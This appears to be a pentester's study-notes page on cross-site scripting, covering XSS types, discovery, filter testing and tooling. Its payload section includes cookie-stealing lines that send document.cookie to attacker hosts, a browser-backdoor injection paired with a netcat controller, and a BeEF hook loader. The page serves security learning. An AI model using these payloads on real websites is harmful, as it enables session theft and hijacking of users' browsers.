XSS

What it is?

Cross-site Scripting (XSS) is a client-side code injection attack. An attacker aims to execute malicious scripts in a web browser of the victim by including malicious code in a legitimate web application. The actual attack occurs when the victim visits the web page or web application that executes the malicious code. The web application deliver the malicious script to the user’s browser. Common used in forums, message boards, and web pages that allow comments. (#ref1)

XSS is hard to detect during code developing due to lack of user input validation as different input may require different validations. XSS attacks are possible in VBScript, ActiveX, Flash, and even CSS. However, they are most common in JavaScript, primarily because JavaScript is fundamental to most browsing experiences. (#ref1)

What is Document Object Model (DOM)?

The Document Object Model is a convention used to represent and work with objects in an HTML document (as well as in other document types). All HTML documents have an associated DOM that consists of objects, which represent document properties from the point of view of the browser. When a client-side script is executed, it can use the DOM of the HTML page where the script runs. The script can access various properties of the page and change their values.

DOM XSS stands for Document Object Model-based Cross-site Scripting. A DOM-based XSS attack is possible if the web application writes data to the Document Object Model without proper sanitization. The attacker can manipulate this data to include XSS content on the web page, for example, malicious JavaScript code.

From https://www.acunetix.com/blog/articles/dom-xss-explained/

What is Same-Origin Policy (SOP)?

The same origin policy is an important concept in the web application information security domain. In this policy, a web browser allows scripts contained in a first web page ‘A’ to access data/resources in a second web page ‘B’, however, only if both web pages have the same origin.

An origin is defined as a combination of URI scheme, hostname, and port number. This policy prevents a malicious script on one page from obtaining access to sensitive data on another web page through that page’s DOM (document object model).

From https://resources.infosecinstitute.com/bypassing-same-origin-policy-sop/#gref

Classes of XSS

  • Reflected (Non-Persistent or Type 2)

  • Stored (Persistent, Type 1)

  • DOM-based (Type 0)

  • Self-XSS

  • Universal XSS

In each goal is to execute JavaScript in the browser.

Reflected XSS

Most basic example of XSS flaw, easy to understand, simple to discover, and mostly used as examples. Another name is Non-Persistent. Payload needs to be present on URI each time to be exploitable.

Example

http://dvwa/vulnerability/xxs_r/?name=<script>alert(1);</script>

Basic practice should be to URL encode the payload. Burp Decoder or ZAP -> Tools -> Encode/Decode/Hash can be used.

You can encode within Firefox Web Console: encodeURIComponent("<script>alert(1);</script>)

Burp encodes everything, ZAP encodes some, and Firefox Web Console encodes less.

Stored XSS

Otherwise known as Persistent XSS, is another major type of XSS flaw. This can only be exploited by victim interactive with web app where attacker has stored a XSS vulnerability. This can impact more than 1 user instead of reflected where its normally sent to 1 user via email with crafted link to victim.

Common application functions that increase likelihood of Stored XSS:

  • Blog comment

  • Forum data

  • Messaging functionality

  • Log mechanisms

  • Account profile information

  • Support Functionality

Stored XSS Examples

Navigating to a test blog http://test/blog

Name: XSS
Message: <script>alert(1);</script>

Rerouting to page to see the post, if script executes, this proves vulnerability to stored XSS.

Out-of-Band Stored XSS (OOB)

OOB XSS are typically stored XSS attacks to victims which you didn't directly interact with. Malicious input is exploited via another modality.

Types of applications that are susceptible:

  • Web-based email clients

  • Web aplication administrative consoles

  • Security appliance web consoles

Inter-protocol Stored XSS

Inter-protocol Stored XSS simply means a JavaScript payload that originates from a different (non-web) protocol.

A good example of Inter-protocol Stored XSS is using DNS TXT record to run JavaScript on sites running dnsqueries to a domain with payload. This was done by Jamie Hankins on jamiehankins.co.ukDNS zone in 2014.

News from DNS TXT XSS from 2014: https://latesthackingnews.com/2014/09/22/dns-txt-xss-vulnerability-affects-many-websites/

DOM-Based XSS

Also referred as Type 0 XSS or Client XSS, focuses on executing client side JavaScript that may be impactful to client. Similar to Reflected XSS, since it involves a dynamic request, non-persistent response, and social engineering.

Most of times DOM-Based XSS does not deliver JavaScript to server side just client side. Very difficult to detect.

Example:

http://test.com/language?input=spanishvshttp://test.com/language#input=spanish. Using ? would send data to the server but the input is being ran by client side JavaScript that is in-taking "input" at DOM vs # does not send any parameter to server side but runs payload at DOM.

Discovering XSS

Common entry points:

  • URL Query parameters

  • POST parameters

  • HTTP Headers

    • User-Agent

    • Referer

    • Cookies

Common XSS Injection Context

  • HTML content

  • Tag attribute

  • Existing JS code

XSS Fuzzing tests:

  • Reflection tests: Simple but unique strings to determine if input is reflected back: XSSXSSXSSXSS

  • Filter tests: Determine what characters get filter or encoded: <>()='"/;[]{}$--#&//

  • PoC payloads: Payloads to prove XSS flaw exists: <script>alert(1);</script>

Within each XSS injection context, we will need to consider the context in order to modify the payload.

Context: HTML Content

Context: Tag Attribute

Context: Existing JS code

Filter Testing

...As many input filters are blacklist rather than whitelist, encoding our payload will evade or bypass filtration.

Filtering/encoding < and > is not enough as per context, a payload script can still be executed.

Payloads

Ways to show XSS impact

  • XSS PoC with static pop-up

  • Demonstrating domain application context

  • Demonstrate session/content abuses

  • Demonsrate external JavaScript loading capability

  • Demonstrate advanced user attacks with framework

Fuzzers

  • Fuzzdb: /opt/fuzzdb/attack-payloads/xss

  • JBroFuzz: Part of ZAP's Fuzzer

  • Burp: Pro expands on payloads provide din Burp Free

  • ZAP: Simply a collection of JBroFuzz and some fuzzdb

  • XSSer: Includes a "valid payload vector" list specific to XSS

XSS payload to capture user's cookie

window.location='http://www.attacker/?cookie='document.cookie

DOM XSS payload and Path Traversal. Example from https://medium.com/@amalmurali47/solving-intigriti-challenge-using-content-injection-84e212cae00f

#../.ht%253ciframe/srcdoc=<script/src=/'-alert(document.domain)-'></script></iframe>

BruteLogic Interactive XSS Backdoor. Example from https://brutelogic.com.br/blog/using-xss-to-control-a-browser/

# XSS Injection
<svg onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//<MyIP>:1234";d.body.appendChild(z)},0)>

# Shell Controller on Attacker Terminal
while :; do printf "j$ "; read c; echo $c | nc -lp 1234 >/dev/null; done

Redirect to a site

window.location="https://www.google.com"

Show a users cookie

alert(document.cookie)

XSS via Image tag error

<img src="x" onerror=alert(1)>

Cookie stealing XSS via JS Image object 

image = new Image(); image.src='http://attacker.com:1234?c='+document.cookie;//

Example, running python server to capture cookie:

BeEF XSS payload

$.getScript("http://127.0.0.1:3000/hook.js", function() { beef_init(); });//

Tools

Focused and capable XSS-only tools complement our proxies:

  • XSSer (GUI)

  • xsssniper

    • xsssniper -u "http://test.com" --crawl --forms

  • XSScrapy

Resources

Acunetix XSS: https://www.acunetix.com/websitesecurity/cross-site-scripting/

Writting a DNS Look up Tool: https://www.jonathandavis.me.uk/2014/09/writing-a-dns-look-up-tool/

Moodle DOM Stored XSS to RCE: https://cube01.io/blog/Moodle-DOM-Stored-XSS-to-RCE.html

Self-XSS:

Open-AudIT 3.3.0 XSS https://packetstormsecurity.com/files/157401

DOM XSS: https://vinothkumar.me/20000-facebook-dom-xss/

NullBype exploiting XSS with BeEF: https://null-byte.wonderhowto.com/how-to/exploiting-xss-with-beef-part-3-0161812/

PayloadsAllThings XSS: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection

PreviousSession Attacks/BypassNextXXE

Last updated